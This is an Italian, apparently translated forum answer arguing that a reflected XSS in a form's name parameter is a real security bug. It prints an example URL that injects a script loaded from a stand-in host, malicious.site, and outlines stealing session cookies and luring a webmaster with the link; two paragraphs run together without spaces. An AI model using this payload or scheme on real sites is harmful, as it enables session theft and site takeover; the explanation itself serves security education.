Questo può essere assolutamente dannoso, è sicuramente un bug di sicurezza e dovrebbe essere risolto.
Il fatto che non ci siano query sull'URL o che i dati non siano salvati sul server non ha importanza. Nessuna di queste cose è ciò che rende pericoloso XSS. La parte che rende pericoloso XSS è esattamente ciò che hai trovato: parte della richiesta può essere eseguita dal browser come javascript nella pagina. Ecco come sarebbe un attacco, a seconda di come la pagina si comporta.
Immagina ad esempio che l'input che hai trovato assomigli a questo nel codice HTML:
Your Name: <input type="text" name="name">
Tu (sembra) metti un po 'di javascript in questo modulo, premi invio, e il tuo javascript è stato eseguito quando sei tornato alla pagina. In altre parole, il parametro name
è vulnerabile all'iniezione XSS. Nello scenario migliore (per l'utente malintenzionato), la pagina in questione mescola il corpo POST e i dati GET, nel qual caso questo parametro name
è vulnerabile indipendentemente dal fatto che sia stato inviato un modulo. In tal caso, puoi creare un payload che verrà eseguito da qualcuno semplicemente facendo clic su un link:
http://vulnerable-site.com/register?name=<script type="text/javascript" src="http://malicious.site/attack.js">
Quandounutentefaclicsuquestolink,loportasulsitoWeb,siverifical'attaccoXSSriflessoeorahaijavascriptchecontrollil'esecuzionesulbrowserdellavittima.Cosatiprende?Larispostaèsemplice:tutto.Ilprimopassocomuneèguardareinanticipoilsitoecapirecomevengonoarchiviatelecredenzialidiautenticazione(disolitoinuncookie).Seilflaghttp-onlynonèimpostatosulcookie,ciòchel'utentemalintenzionatopuòfareècheilsuojavascriptestraeilcontenutodeicookieeliinviaaunserverchecontrolla.Il99%deicasiincuiicookiediautenticazionehannounIDdisessione,eunavoltachehail'IDdisessionepuoiaccederecomepersonasenzaproblemi.
Quindilaprossimacosachefaièprendereiltuolinkcherubacredenziali,inviaun'emailall'indirizzoemaildelwebmasterdicendo:"Ehi, qualcosa sul tuo sito si è rotto quando ho fatto X. Ecco un link alla pagina che rotto per me ". Quindi, se la persona fa clic sul link, ruba automaticamente le credenziali e potenzialmente ottiene l'accesso amministrativo al sito.
Certo, è un vettore di attacco a più fasi, e ci sono delle ipotesi lungo la strada che possono far sì che non funzioni, ma il punto è che anche cose apparentemente innocue come questa sono molto pericolose , specialmente nel contesto di un sito con sicurezza generalmente scarsa. A volte quello che sembra un piccolo crack è in realtà abbastanza grande da far passare un bus, una volta comprese le implicazioni.